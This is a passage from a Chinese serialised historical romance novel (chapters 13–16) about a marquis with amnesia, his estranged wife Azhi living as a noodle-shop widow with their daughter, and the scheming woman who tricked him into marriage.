谁家花钱买铺子都是要亲眼看看,再找老板谈价格。阿致总感觉不对劲。
见阿致犹豫,那房牙摸了摸胡须,道:“那主顾是个阔绰人,保证不低于市价。”
阿致咬咬牙,答应下来。一来,她很想尽快脱手,离开密县这个是非之地。二来,好主顾难寻,前两日房牙给她找来的几个主顾,开价十分离谱,只肯给寻常市价的三成,简直狮子大开口。阿致想着,还是先去茶楼见那买主,成不成另说。
而得不到回应的陶盾,他立在院子里,眼角余光看到一个白色物件。他走到后门口,原来是个信封。
看来是有人将信封从后门门缝塞进来,给致娘的。但是致娘没注意到。
·
陆昀峥早早醒了,但他选择继续闭眼躺着。
当他闭眼的时候,小娘子就像真人走进了他的脑子,站在他的面前。脑海里的她,头上插着一支再寻常不过的木簪,额侧碎发盖住侧脸,款款走过来,坐在他的床边,低头看着他。她伸出瘦白的胳膊,手指指腹轻轻摩挲他额头的伤口。
陆昀峥也看着她。
不需要任何词语,陆昀峥只想一直看着她,看她的眉眼、唇角、颌线。
过了许久,她微笑着说:“我要走了。”
陆昀峥抓住她瘦长的指节,求她:“再陪我一会。”
他知道,闭眼时候冒出来的这些画面,不过是他心中的贪婪。
一念起,则万恶生。
他心中的贪婪太盛,他很清楚。可是他无法割舍,也不想割舍。他也只拥有此时的她,而已。
放纵只此一次,他只是想要沉陷其中再久一些。
陆昀峥起来时,已近午时。
“侯爷,我们今日启程回去长安么?”邬春荣正在书房整理。
雨停了,今日天气不错。
陆昀峥点头,让他去催促谷湘如。
这时候,他想起来一件重要的事——昨晚上他喝醉,写了一封信给阿致。那封信不能让人看到,他立刻将邬春荣赶出书房。
陆昀峥想的是,等他自己找到信,烧成灰烬就好。就像他对谷湘如说的那样,他陆昀峥此生只有阿致一个妻子。他要学会的是放下,放下心中的贪婪。
这时候有暗卫来报,面馆的小娘子要卖面馆,夫人以购买面馆的由头,安排中间人约小娘子见面,就在露钟茶楼的二楼。刚刚夫人动身出去了。
陆昀峥点头,表示知道了。
他低头在地上寻找信团,没有找到,他又去翻找书案,依旧找不到。
陆昀峥立刻将邬春荣叫过来,问他书房里的信去哪里了?
邬春荣摇头,他压根不知道什么信,没有见过侯爷书房里的废纸团。
“夫人来过么?”陆昀峥问。
“没有。”邬春荣再次摇头,看着他家一脸天塌了的侯爷。
陆昀峥手撑在书案上,昨日写的那封信……去了哪里?
想着想着,陆昀峥突然伸手,用力摸了一把脸,脑子瞬间清醒,他夺门而出。
“侯爷,你去哪儿?中午还走不走了?”邬春荣还是第一次从自家侯爷脸上看出绝望。
13. 定情之物
13
陆昀峥终于想起来,为何他昨晚会出现在那小娘子后门口:昨晚他趴在桌上睡了一会,还是感觉难受,便又去灌了两壶酒。两壶酒下肚,他回到书房将地上的纸团摊平,放在信封里,给她送过去,插在她家后门的门缝里。但凡她早起打开门,就能看到信封。
——这是昨晚上喝醉后的想法。
现在,陆昀峥快疯了。
此时将近午时,那小娘子肯定已经看到他那封信。
可是,那封信是写给阿致的……简直无法想象,如果小娘子看到他内心的真实想法,会怎么看他?
陆昀峥打马一路狂奔而去,到了集市上,终于冷静了些。
之前横冲直撞,他给她造成了麻烦,害得她不得不举家搬迁,这次断然不能再鲁莽;再则,那封信,她要看到,早就看到了。
陆昀峥找个人看着马匹,他自己找准没人的时机,绕道她家的后巷去。
她的后院门打开着。
陆昀峥一咬牙,跨步进去,正见到小娘子一个人搬个大水缸,累得急赤白脸的。他连忙上前几步,给她搭把手,搬到院子里去。
他力气大。阿致手上瞬间轻松了。
陆昀峥问她还有什么需要搬的。
阿致摇头,她就算是有需要,这时候也不能说,随即转身,从房里挑了一张白帕子给他:“侯爷,擦擦吧。”
陆昀峥一低头,他下摆侧面沾了水缸边上的湿泥巴,黄色泥水沾在宝蓝色的衣摆上,很是显眼。
“无妨。”他没有接那帕子,弯腰,伸手将衣摆上的黄泥拍了拍。
习惯一点也没有变。他虽长在侯府,但一点不拘小节。这也是为何,当年在边塞大漠认识时,她完全没有意识到眼前人是长安城里的公子哥。
阿致转身,去院子里的水井边上拿了水瓢,弯腰从桶里舀了一瓢凉水:“过来洗手。”
陆昀峥快步过去,双手捧在一起,接她倒的水。
配合默契,这画面就像是发生过无数次,陆昀峥感觉很熟悉。
两人的头凑在一起,呼吸也缠在一起,陆昀峥一转头,正好看到她微红的脸颊。
阿致把水瓢交给他:“侯爷自己洗吧。”
陆昀峥接过水瓢,问她:“你女儿呢?”
“和她陶叔叔出去玩了。”阿致侧头,看到门缝后一个白色的物件,像是一张纸。
“陶叔叔……”陆昀峥洗干净手,喃喃自语。
他羡慕陶盾能靠近她。喜欢一个人,但凡能呆在她身边,也是满足的吧。
但是他真的那么容易满足么?
他想要拥有、独占。这是此生第一次,陆昀峥承认自己是一个相当贪婪的人。
陆昀峥放下手中的水瓢。该放下的就应该痛快些放下,而不是扭扭捏捏像个娘们。
阿致朝着后门那张纸走去,它立着,夹在门和泥巴墙之间。
陆昀峥看到那白色信封,眉头紧皱,立刻起身,大跨步过去,抢先一步抽走那封信:“这是我方才掉的。”
他的脸色红得有些不正常,也许是蹲久了吧。阿致没说什么,这时候才想起来,问:“侯爷来找我做什么?”
陆昀峥看了一眼那信封,又看了一眼阿致。
阿致没有注意到他的眼神,将身上的围裙取下来,她要准备出门赴约了。房牙介绍的主顾,说是要在午时见面。
她对这信封似乎毫无反应。
陆昀峥低头,收好信封,道:“听说你要卖掉面馆。”
阿致放下手臂上的袖子,点头。她没有多解释,她离开是因为这连日以来,总有人在她家面馆前盯梢,似乎等着她开门。根据这些人出现的时间,阿致大概能猜到,和陆昀峥有关。但她不想说给他听,怕他自责。
陆昀峥低头看着她的侧脸,很平静。
“对不起,因为我给你惹麻烦——”
“没事。”阿致摇头,“事已至此,反正……我在这里住了许多年,早就想要换个地方重新开始。”
陆昀峥似乎真信了她的借口,沉默了一会,又道:“今日约你在茶楼谈的买家,是我夫人。”
阿致倒是没料到这个,一时之间不知道说什么。
前几日那么多主顾都狮子大开口,她意识到自己可能是得罪了什么人。那人暗中操纵价格,就是不想要她好过。
“好像总是在给你道歉,但又没什么用。”陆昀峥道,“你放心,我已经安排好,茶楼那边有人替你去谈,但不会答应卖面馆。”
“那我的面馆暂时不卖,搬家之后再处置这里。”阿致点头,她明白这是眼下最好的办法了。她很难想象,她和谷湘君面对面会发生什么。
“面馆卖给我如何?”
阿致抬头,看着陆昀峥,摇头。
这是陆昀峥意料之中的反应:“为什么?”
阿致道:“侯爷您要一个面馆做什么?”
“我会转手给别人,只是给你腾一次房子,免得麻烦。”陆昀峥看着她。
阿致确实有些纠结,但她还是答应了。因为谷湘君都找上门了,还是尽快避开比较好。这时候太阳从云层中露出头来,暖洋洋的。
连绵秋雨之后的阳光,格外珍贵。
后巷中十分安静,偶有两声鸟叫声,两人都沉默着。
陆昀峥仰头看着那阳光,心中的疑问还是问出口:“你以后去哪里?”
阿致垂着眼眸:“还没有想好。”
“可以考虑去长安。长安热闹,对于你比较安全。”陆昀峥舔了舔嘴唇。
阿致道:“再说吧。”
陆昀峥这时候才意识到,他方才说的话不妥当。小娘子可能理解成他要与她在长安私会。他解释:“很快,我会离开长安。所以你想去长安的话,尽管去,不用考虑我。”
阿致点头,没有问他为什么不在长安。他打仗的将军出身,自然是要回去战场上。
原来他要走了,又要去危险的地方。阿致想说以后要保重自己,但是咬紧了嘴唇,终于成功的一个字也没有说。
陆昀峥倒是想要她问问。可是她从头到尾什么也没有说。
这样也很好。
陆昀峥环视这窄小的院子,许久,忍不住道:“以后我不会再给你添麻烦。不过,如果你有什么问题都可以随时来找我。你拿着这个去陆府,交给下人,他们自然会帮你安置好。”
说着,陆昀峥从袖子里掏出一块黄玉来,圆形的,刚好掌心大小,一面刻着“陆”字,字的右下角缺了一点。
阿致看着那缺口,慢慢伸手,接过黄玉放在手心,第一件事是翻转过来。
果然,玉佩的背面刻着两个字:日月。
阿致的嘴唇微微颤抖起来,她牙齿用力,死死咬住。
这块黄玉,是他们在大漠上的定情之物,说好了以后要留给孩子。但是五年之前,他们因为争吵,将这玉佩磕碎了,而后她从陆府离开时,将这块玉留给了他,没有带走。
她现在还记得,陆昀峥从她手中接过这黄玉时,他满眼冷漠,神情严峻。那时候,他毫不在乎他们过去的感情。
阿致仰头,看着陆昀峥,阳光照在他周身,格外明朗的面容,嘴角有一丝难察的笑意。他的眼睛澄亮,映照着她。
阿致抚摸着那磕掉的缺口,将玉递给他:“民妇不敢收这么贵重的东西。”
陆昀峥以为她是不好意思收下:“原本,我想要给你女儿一个见面礼,你就收下吧。”
阿致咬
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唇看着玉佩,终究干巴巴说了句:“多谢侯爷。”
五年前,她的决定将女儿的一半人生剥夺。现在,希君能有爹爹传的玉佩,也不错。这原本也应该是希君的。
“我走了。”陆昀峥的目光流连在她的眉眼。
她的身上,叠着他的影子。他的影子拥有了他从未有过,也永不会有的东西。亲密、靠近。
他想起她躺在耳房的那天晚上,他以为她是阿致,欣喜至极,手掌附在她的右侧脸颊,拇指指腹轻轻摩挲她的眼下。只是这么简单的接触……对于他来说,一点也不简单,隔着一辈子的山水。
阿致将玉佩捏在手心,她抬头看着他。他整张脸曝在阳光下,眉头却皱在一起,就像是突然而来的狂风,看着她的脸心事重重。
“我今日便走。”陆昀峥低头,在这里停留得够久了,他应该知足。
怪只怪他们缘分太浅,认识的时机太差。
阿致点头。
她当然想要再多看他几眼,不想那么快了断此生缘分,但……总是要别离的。
“以后应该……不会再见,保重。”陆昀峥道。他这话是说给自己听的,此生再不相见。
·
茶楼里,谷湘君见过那面馆的小寡妇。
那小寡妇普普通通的,容貌没有大问题,也不怎么出挑,谈吐精干,眼神犀利。一开始坐定,那小寡妇就一个劲地追问能出多少钱。谷湘君看她这样就知道,陆昀峥不可能喜欢她。
看来真是谣传。小地方就是这样,屁大点事也传得有鼻子有眼的,害得她这些天白白生气。
谷湘君原本也不想买面馆,因此,随口说了个低价。
最终,两人谈崩了,那小寡妇气呼呼地离开。
谷湘君却是心情大好,坐着马车回去游园,一路哼上了小曲儿。
邬春荣正愁回长安的事,发现夫人心情舒畅地回来,狗腿地凑上去:“侯爷要今日回长安,夫人身体如何了?”
谷湘君伸手示意春铃过来:“赶忙去收拾。”
这是答应了?邬春荣千恩万谢地回去后院,给侯爷打包行李。
春铃拿刚洗好的葡萄进来:“夫人您终于放心了吧。”
谷湘君吃了一口葡萄,是个坏的,汁水溅得指缝间到处都是。她今天心情好就不怎么计较了,只让春铃拿帕子来擦。
春铃心知自己做事不仔细,赶紧拿帕子给主子擦手,讪笑着道:“今日那寡妇的手指纤细好看,但比您的实在差太多——”
春铃浑身一哆嗦,一抬头,果然主子脸上怒气汹涌。
她立刻自打一巴掌:“奴婢胆敢拿主子与那寡妇比,奴婢愚蠢!”
“你说那寡妇的手指纤细?”谷湘君怒目看着她。
春铃继续打自己的脸:“不是,她十指都是老茧,哪有夫人您的纤细好看。是奴婢——”
在茶楼时,春铃看到那寡妇的十指纤纤,好一顿感慨。而后给主子奉茶的时候,靠近看到了那手指,好几个指头上都有黄色老茧,不禁觉得可惜。
“十指都有老茧?”谷湘君气得立刻起身。
十指都有老茧,那只可能是以弹琴谋生的女子才有。一个开面馆的寡妇,怎可能十指都有老茧?
谷湘君即刻意识到,她被骗了:她在茶楼见的并不是小寡妇,而是别人安排的傀儡。
什么人会提前知道她的行踪,还能安排那么完美的傀儡去做挡箭牌呢?
只有陆昀峥,他心虚。他如果不心虚,为何要遮遮挡挡?
谷湘君一伸手,将桌上一盘葡萄全部扇到地上,果盘摔在地上硁硁不止。
陆昀峥你欺人太甚!把她谷湘君耍得团团转。
既如此,就不要怪她把事情做绝。
14. 煎熬
14
午时过了,陆昀峥打马从外头回来。
他满脸的疲倦。
邬春荣跟着他,禀报道:“夫人今日正收拾行李,但是她头痛又犯了……便想推迟到明日一早再走。您看如何?”
“真病了?”陆昀峥问。
邬春荣有些为难地道:“看着不像假的,听春铃姐姐说,夫人方才晕过去了。”
一屋子人忙乱半天。
陆昀峥若有所思,继续往后院走:“那便明日早上再走。”
傍晚,陆昀峥正在书房处理信件,朝廷催得有些急,让他快些回去长安。
这时候春铃过来,问侯爷能不能去看看夫人。夫人病了,不肯吃晚饭。
陆昀峥将笔放下,抬脚去左院看谷湘君。
谷湘君躺在窗边的躺椅上,窗子大开着。入秋之后,一日比一日冷,入夜时分更是如此。谷湘君冷眼望着院子里一棵藤儿上枯黄的叶子,不知在想什么。
听到陆昀峥的脚步声,她也只是眨眨眼,没有回头,一副可怜的模样。
陆昀峥低头进去,坐在房中的凳子上,问她怎样了。
谷湘君仍旧没有回头,她嘲讽道:“你坐得那样远,是怕我把你吃了?”
不要以为她不知道,他这是因为茶馆骗她一事,心里愧疚,才会弥补她,过来看望她。
她说话总是这般带刺,陆昀峥已经习惯了,他起身:“看来你没有大碍。天色已晚,你保重身体,明日还要上路。”
果然,他连虚与委蛇都嫌麻烦,满脑子只想着和离。
谷湘君想起今日茶楼里的事,怒从心中起,她冷笑道:“你这是急着要回到长安与我和离呀,如果我不答应呢?”
“当初说好了,不可再拖下去。”
“说好了也可以反悔呀。”谷湘君好笑地看着他,“我们是名义上的夫妻,你想和离就和离么?陆昀峥我告诉你,就算回到长安,我也不会与你去上报官府和离。因为,我、不、同、意!”
她捧着肚子哈哈大笑,怎么会有这么好骗的人?
“之前你说未满一年就和离,会被人背后说闲话,也必然被父母困于闺房,在和离前游乐是你最大的心愿,本侯念及你是女子,身有不得已,才会答应延迟和离。”陆昀峥咬牙切齿,仍旧保持着冷静,“一开始,你骗婚就是心存不轨,本侯不该信你任何一字一句。”
那时候,他刚刚失忆,脑子里只记得一件事,那就是要和阿致成婚。回到长安侯府,父母得知他要找阿致,便将谷湘君领过来,说她的小名就叫雪致。不仅父母,他周围的所有人,包括他曾经养的一队暗卫都说,谷湘君就是雪致,几年前他们便打算订婚,因为他上战场才耽搁了,谷湘君甘愿为此等他好几年,此事京城人尽皆知。陆昀峥便求娶了谷湘君,成为他人口中的郎才女貌。
原本谷湘君的计划完美无缺,因为所有人都支持她,不支持的人都被她血洗在外。可惜,人算不如天算,在婚礼的当天,陆昀峥曾经的一个旧部赶来喝喜酒。这旧部在战场上丢了一条腿,没法赚钱养家,抚恤金花完,老婆孩子快饿死了。他记着陆昀峥曾说过的,有难可以去找,便厚着脸皮去喝喜酒,顺便再讨一点钱做小本买卖,让妻子不那么劳累。
也就是因为这旧部,突破了谷湘君的层层算计,将篓子捅到了陆昀峥面前。陆昀峥这才知道,他的阿致原名叫沈雪致,来自大漠,伙夫之女,并不是礼部尚书的女儿谷湘君。
早在五年前的大漠上,他与阿致便结为夫妻,有了夫妻之实。阿致跟着陆昀峥从边塞回去长安,就是为了成婚。
只是不知道为何,阿致离开了他。
大婚那晚,陆昀峥质问谷湘君,谷湘君没有否认,但她哭着说自己种种不容易,乞求陆昀峥顾念她的名声,一拖再拖,便到了今日。
而谷湘君早就受够了他提“骗婚”这两个字,扯着喉咙大喊道:“是,我骗婚,我骗你是沈雪致,但那又怎样?我有错你就没错了?别忘了当初是你求着我嫁的,现在我就是你的夫人!你想和离就和离?做梦吧。还有——你写的放妻书我早撕了。”
若是父母知道她要和离,为了面子也会扒了她的皮。
陆昀峥眯着眼睛看她:“也就是说,你一开始就是骗我,根本没打算与我和离。”
“当初你与我说和离的事,我可从始至终都没有点头过,只是你自己一人在说。”谷湘君得意地笑了。陆昀峥这样的丈夫,虽然冷淡了些,可好歹算是长安城里独一份的公子哥——腌臜事很少,有上进心,关键是真的能建功立业。
躺着就能挣个诰命的好事,谷湘君好不容易搞到手,从来没打算放手。
陆昀峥生气她也不怕。
陆昀峥脸上的怒气全都消散了,甚至他整个人都轻松了一般,他反常地微笑:“给过你很多很多机会,既然你不珍惜,那往后就不要怪我。”
也不是只有和离这一种办法。
谷湘君冷哼一声:“那我且看看你能把我怎么办。”
陆昀峥这样心软的人,也就是嘴上说说狠话,谷湘君才不怕他。更何况,她爹是礼部尚书,再怎么着,陆昀峥不看佛面也要看僧面。
陆昀峥不再理她。
谷湘君这人是聪明,长安城里才华出众的贵女,但人聪明了之后就容易有个毛病——自作聪明。她以为自己很了解陆昀峥,觉得他是个心软的人,便以为可以以此处处拿捏他。但她从来没有考虑过,心软的人怎么可能带兵杀敌,甚至做到建功立业呢?
他只是很少把战场上冷酷理智那一套用在人身上罢了。
·
陆昀峥回到自己房里时,邬春荣麻溜地给各个房里燃烛,上饭菜。
陆昀峥没什么胃口,让邬春荣去拿两壶酒来。
邬春荣拿过来了,陆昀峥想起昨晚上做的糊涂事:“把酒收起来,你去取个火盆来。”
上次烧抄写的经书,留了个盆儿,邬春荣赶紧拿到书房里去,给侯爷生火。
陆昀峥坐在火盆前,把那封信从怀里拿出来。
他把信封拿出来仔细看了看,封口是打开过的,里头的信纸是胡乱塞进去的,显然有人看过了。可是小娘子当时那神情,似乎是毫无所觉……还是说,她揣着糊涂装明白呢?
也许,她只是不想卷入他的人生罢。
陆昀峥看着跳动的火苗,想要将信纸打开。但是他最终将信纸捏成了一团,扔进火堆里。
纸团化为灰烬时,他的心似乎也死掉了。那个小娘子对他,根本没有任何旖旎的心思,一切只是他的妄想。
这是好事。而他也要离开了。
这时候,罗三开门进来,他禀报了两件事。
“夫人方才乘马车出门了。”
方才吵得剑拔弩张,出去也很正常。陆昀峥点头,他没有在意。
“还有,渠县那边来了消息,王致的儿子陆涂回信了,但他要求一笔银钱,才肯见面详谈。”罗三将收到的信交给陆
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昀峥。
上次罗三去渠县打听到陆涂的发小,便让这发小给长安城里居无定所的陆涂写信说明此事,并让他回信到密县。
陆昀峥看了这信,信上的字如同鬼画符,倒是索要银钱数目写得相当清楚。他口气不小。
“侯爷,接下来怎么办?”罗三问,这可不是小数目。
陆昀峥将信投入火中:“继续跟。五十两他就会同意。”
事情已经跟到这里,他断然不会放弃。再则,他不是冤大头。
只是,他很清楚,就算查下去,也没什么用。
他们注定是不能交集的命运。
罗三领命离开,书房里又只剩下陆昀峥一个人。四周黑漆漆一片,夜雾浓重,冷意侵袭到骨髓。
陆昀峥索性洗了个热水澡,早点去睡。
可是躺在床上,闭眼许久,他压根睡不着。
今日站在她面前时,他说了再见。可是一想到此去经年,应是老死都不能再见,他就心有不甘。凭什么他要一次次与爱的人失之交臂?凭什么他要经受此种煎熬?
如果他曾与阿致在一起,又为何要让他遇见这小娘子。
陆昀峥闭眼许久,心不静,干脆起身。
他记得邬春荣把两壶酒放在了书房的柜子上。
他找到了,取了一壶,不敢喝多。
喝了酒,醉意朦胧,好受一些了,摸到床上去躺着。
他迷迷糊糊感觉到,致娘又来了,站在黑暗里,眼睛澄亮地看着她。
白日里,他的影子叠在她的身上,可是他却只能站在离她那么远的地方。
陆昀峥看着她,伸出手。
致娘款款走过来,她也伸出手来。
在黑暗中,两人的手握在一起,就像是衔接的桥。
虽是想象,可陆昀峥却能感觉到她手指的触感——温热、湿润。
这一次,她躺在了他身侧,就像他想要的那样。
他侧躺着,头靠近她的肩头,额头贴着她的脸侧,两手交握。这般靠近,几乎能闻到她身上的气息。
陆昀峥闭着眼,他深呼吸一口气,睁开眼睛。
再这样下去,他就会沉陷其中,无法自拔。而他最微弱的理智在告诉他,不要背叛阿致。
人之所以是人,是因为有理智,知道什么能做,什么不能做。虽然他心中所想,无人可知。可是他的良心知道。
陆昀峥起身,自己去厨房提了一桶冷水,洗个冷水澡,终于清醒过来:“陆昀峥,这才是对的。”
·
月光之下,谷湘君乘着马车疾驰,快到曲逸巷时,她让马车停下。
这时,马车四周立刻聚拢了四个彪形大汉,黑色夜行衣,蒙着面,只有凶光闪闪的眼睛露在外面。
一行人浩浩荡荡地去往曲逸巷的面馆,四个大汉率先跳入墙内,打开后门。
阿致听到嘈杂的脚步声,从床上起来,操起床下的刀,心道难不成屈老幺又想要做什么不轨的事?
她简单披了外衣,冲出门外。
正好后门打开,一个女人出现在她的后门口。月光下,依稀可见她满脸的怒色。
阿致愣在原地,谷湘君竟然会强闯她的房子。
谷湘君早就想见见这寡妇的真面目,如何会将专情的陆昀峥魂都勾走。这真的见到了,她惊得嘴巴大张,伸手指着阿致:“你——”
她话卡在喉咙里,半天说不出话来。
这女人是沈雪致么?
15. 执迷不悟
15
明明就是那个晦气的沈雪致。谷湘君不可能忘了她,也不可能看错。
谷湘君站立不稳,伸手扶在一旁的门框上,一时之间她千头万绪,最重要的是——陆昀峥似乎并不知道面馆的寡妇就是沈雪致。如果他知道,早就闹翻天地要和离。
那么……只有一种可能,沈雪致并没有告诉陆昀峥真相。为什么呢?谷湘君皱眉,她想不通,如果是沈雪致,难得重遇心上人,定会把一切说明白,抓住机会再不分离。
阿致迎着月色,打量着谷湘君,谷湘君手腕上是琉璃手串,在月夜下极为惹眼。这琉璃手串是在边塞时,陆昀峥买给阿致的。只是分别之前,她都选择留给陆昀峥。
原来陆昀峥把这琉璃手串给了自己的夫人,看来他们夫妻感情还可。阿致不自觉捏紧了刀柄。
顺着沈雪致的目光,谷湘君低头看到自己手腕上那琉璃珠子——这是陆昀峥给她的聘礼之一。
谷湘君立刻明了。呵,活该这沈雪致一辈子得不到喜欢的男人。遵从礼制道德,想要也不知道争取,才会把自己困死到这幅模样。
明明一踮脚就够得着啊。
谷湘君胜券在握,示意四个黑衣大汉和春铃都去外面等着,她慢慢走到沈雪致面前:“既然当初收了钱,就该信守承诺,消失得彻底,更不该觊觎别人的丈夫。”
阿致满脸漠然:“我只是个死了相公的寡妇而已,不知道你在说什么。只要别人不打搅我,我自然也不会打搅别人。”
这是五年前,给出那一百金的条件:拿了钱就不要再见陆昀峥。
“还记得守诺就好。”谷湘君晃了晃琉璃手串,满意地道,“你要记住,这辈子你都不可以去长安,也不能去找昀峥。”
一想起陆昀峥闹和离,谷湘君就心里不舒服。就算她和陆昀峥和离了,她也不允许沈雪致得偿所愿。
阿致和她对视:“我打算离开,你不阻拦就好。”
谷湘君想起茶楼的事,很想讽刺几句,可是她只能咬紧牙关。不可轻举妄动,若是激得她与陆昀峥相认,那可是不划算。但这口气无论如何吞不下,于是她从袖口里掏出一张银票来,这是一百两白银的票面。
谷湘君轻蔑地将这银票递给她:“你既然这么识相,这便是赏你的。”
阿致冷冷看着她:“我沈雪致不需要别人打赏。”
谷湘君慢吞吞收起银票,嗤笑一声:“你曾经不是收过一次么?怎么,现在便清高了?”
阿致心里清楚她在阴阳怪气,但她压根不在乎。谷湘君的行为,实在是太幼稚。
谷湘君看着阿致的脸,心情大好。
“阿妈。”房里传来希君的声音,她摸不到阿妈,便从床上翻下来。
阿致大惊,立刻转身,想要将希君堵在房里。
希君已经出来,撞在阿妈的怀里,露出脸来:“阿妈,大晚上的,你在外面做什么?”
希君一转头,朦胧睡眼中看到一个华服女子,这是谁?
谷湘君看着那小女孩,目瞪口呆在原地。这女孩的眉眼,和陆昀峥简直一个模子刻出来的……看着小女孩的年岁,莫不是陆昀峥的?
阿致冷脸看着希君:“回去床上。”
“阿妈,我想嘘嘘。”
“等一会。”
希君不情不愿回去房里。
阿致深吸一口气,转身对谷湘君说:“侯夫人若是没事,就别打扰民妇休息了。”
说着,阿致将谷湘君倒逼出去,关上后门。
希君暴露了。方才谷湘君的神色不对劲,阿致隐隐有些不安。
她们必须尽快离开密县。
·
回去长安的路上,谷湘君闷闷不乐,闭着眼睛回去侯府,她也是躺在床上,没什么精神。
春铃急得不行,但也不敢细问。夫人自从那晚上去了寡妇家,便这副神思不属的模样,也不知道在想什么。
陆昀峥歇了一晚上,第二日早上,便去给父母请安。他从去年底封侯后,有了自己的宅邸,与父母分开住,相隔前后三个巷子。
陆老侯爷问他:“湘君怎么没来?病了?”
谷湘君的父亲毕竟是礼部尚书,才华也甚出众。陆老侯爷陆旷年纪大,见过的人不少,他对这个儿媳妇很是满意。
老侯夫人方氏最爱这个幺子,叫他起身,才温柔道:“怕是出去游玩这多天,乏了吧。”
“她在府里休息。”陆昀峥开门见山,“儿子要和父母说明一件事,我与谷氏这几日便会和离。”
“和离?”老侯夫人方式一惊,吓得心肝直跳,转头看老头子。
陆老侯爷的胡子立刻就炸了,瞪着眼睛训斥:“你眼里还有我这个父亲?这大半年劝说你多少次了,叫你安心和湘君过日子,你怎的不听?以为自己有点小成就,翅膀就硬了?”
“如果眼里没有您,儿子今日就不会过来,直接去和离。”陆昀峥一脸坦诚。
你还有理了?陆老侯爷气不打一处来,站起身来:“来人,拿藤条来。”
老侯夫人虽然也不赞同这事,但她也心疼儿子,挡在儿子身前,厉声道:“我看是谁要打我儿子。你这老头,要是觉得收复边关是小成就,你自己去试试看能成不能成!”
下人把藤条拿过来,老侯爷这接也不是,不接也不是。这大概就是夫人娘家太厉害的弊端。
还是老侯夫人情绪稳定些,她转头对儿子掏心窝子地道:“儿啊,你糊涂。你与湘君已经成婚,若是和离,哪里再找她这样才情家世的好姑娘?”
陆昀峥道:“儿子不打算再婚。”
这话一出,老侯夫人几乎要气晕过去,老侯爷赶紧伸手摊住老伴:“快快快,清心丸。”
老侯夫人方氏吃了一颗清心丸,才慢慢好转。
老侯爷横了陆昀峥一眼:“你这逆子,就是这般孝敬你母亲?”
方氏慢悠悠地做起来,她问:“你是不是还念着那个沈雪致?”
陆昀峥低头:“儿子此生只有沈雪致一个妻子。如果找不到,儿子宁愿孤苦此生。”
方氏失望得闭上了眼。
老侯爷在一旁训斥道:“父母对你有生养之恩,你不听父母的话,却对沈雪致那样的女子执迷不悟!你就是这样报父母的恩?”
“父母对孩儿有大恩,但这不代表孩儿要用毕生幸福和自由来妥协。”陆昀峥很平静。
老侯爷气结:“你难道不记得,当年她利用你,讹了我们多少钱?一百金,整整一百金!”
“不记得。”陆昀峥道。既然已经在大漠上与阿致拜了天地,有了夫妻之实,他就应该要负责到底。更何况,他并不信任自己父母所说的话。他的父母竟然帮着谷湘君骗他,走到如此地步。若是真能找到阿致,阿致定然也很难相信他的清白。
老侯爷也差点被气晕过去:“早知道,当年真不该生下你个逆子,来讨债的……”
陆昀峥听到这话,一点反应也没有。
倒是方氏看了看儿子的脸色,厉声道:“你这老头,当着儿子的面胡说什么呢?”
正好这时候,外头有人将陆昀峥请走,皇帝要见他。北边的戎狄野蛮部落楼烦,他们的太子弑父自立,成为了新的单于。新单于上位后便挑衅接壤的城池多次,损失不小,皇帝气得不行。
·
谷湘君在房里躺了两天,她自己个儿收拾东西,回去娘家。
她这脸色恹恹的,她娘卢氏便问她:“鸢鸢儿怎么了?不会是有喜了吧?”
鸢鸢是谷湘君的小名。<
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要是有喜就好了,谷湘君依偎在卢氏的怀里:“母亲,我若是和离了,天天回来住,可好?”
卢氏一把推开她的脑袋:“死丫头,说什么胡话?好不容易嫁给那陆昀峥的,费尽心机。就算是陆昀峥要和离,你也应该强硬些拒绝。”
谷湘君改为趴在桌上,长叹一口气:“其实我也不想和离。”
“你这丫头,若是和离了,别说你我的脸面,你父亲的脸往哪里放?到时候他恼怒起来罚你,我可不拦着。”卢氏絮絮叨叨,压低声音,“西厢那个婆娘正巴不得我们过得不好,你这不是给人家递笑柄么?”
西厢那个婆娘也不知有什么能耐,这将近二十年,一直盛宠不衰。一想起来,卢氏气得牙疼。
谷湘君又长叹一口气:“陆昀峥说,不想和离,那就休妻。”
回来之后,陆昀峥给了她这两个选项。因为楼烦造成的局势,陆昀峥不会在长安逗留超过一个月。他想速战速决。
原来女儿受了这么大的委屈?卢氏一听这话,气得差点跳起来:“这陆昀峥以为自己封侯了了不起,当我们谷家的人都死绝了吗?他说和离就和离、他说休妻便休妻的么?鸢鸢,你别怕他,我给你父亲说道说道,怎么着也能让他付出代价,给你出口气。”
谷湘君只感觉胸闷得厉害,说不出一句话,转而回自己床上躺着。
这几日,她总是想起那个夜里,喊沈雪致阿妈的小女孩。黑夜里,小女孩的眼睛亮晶晶的,看着她的眼神充满防备。
·
这日,陶盾提着一盒饼,去找致娘。
从后门进去时,发现致娘家中几乎搬空了,只剩下几个大的包裹,致娘忙前忙后打包着。
“你真决定要走?”陶盾有些愕然。他之前以为,致娘只是说说而已,毕竟搬家可不是一件简单事儿。没想到她这么迅速就整理好了。
致娘点头:“后日便走。许多东西带不了,能送的都送人了。我还给你留了些,你看你要不要。”
致娘给女儿希君买了好些纸笔还有墨水,很难带着,便想着送给陶盾最合适。她把那一包东西拿出来,摊在他面前。
看着这些东西,陶盾讷讷地问:“致娘,你为什么一定要走?”
阿致正在院子里推水缸,把里边的水都倒出来,正使着劲儿呢,气喘吁吁,哪来力气回答他的话。
陶盾没有等到回答,他又道:“致娘,我随你一起走吧。再怎么说,我也是个男人,出了事也能保护你们。”
阿致拿起帕子擦脸上脖子上的热汗,远远看着他:“陶先生,你还是再仔细想想吧。我和希君能照顾好自己。”
阿致鲜少像别人称他“陶先生”。
陶盾知道自己是被拒绝了,他走近致娘,耸起肩膀,如临大敌一般,问:“致娘,你是不是因为陆小侯爷,才要离开这里?”
前些日,陶盾在这后院的门缝里找到了一封信,他捡起来看了。看完才知道,原来陆小侯爷的心上人叫阿致,却不知怎的被骗与他人成婚,而陆小侯爷因为转而爱上致娘而痛苦自责。
看完信后,陶盾首先想到的是致娘第一次见那陆小侯爷时,她失去理智去追他,她看着他的背影时眼中有光……
后来陶盾便找各种机会打听陆小侯爷的事,原来他失忆了……难怪会如信中所说,被骗婚。
陶盾琢磨许久,他的猜测是,致娘就是陆小侯爷要寻的人——阿致,只是陆小侯爷因为失忆认不出眼前人,而致娘则碍于陆夫人拒绝相见。
可是,致娘并不知道,陆小侯爷是被骗婚的,而且……一直在寻她。
陶盾知道这是致娘心中的心结,也知道致娘定然没有看到那封信,那么他……是否应该说出真相呢?说出真相就要将她送到别人身边。
16. 弥天大谎
16
被问到是不是因为陆昀峥才要搬家离开,阿致擦汗的手一顿,她看着陶盾:“你为什么这么问?”
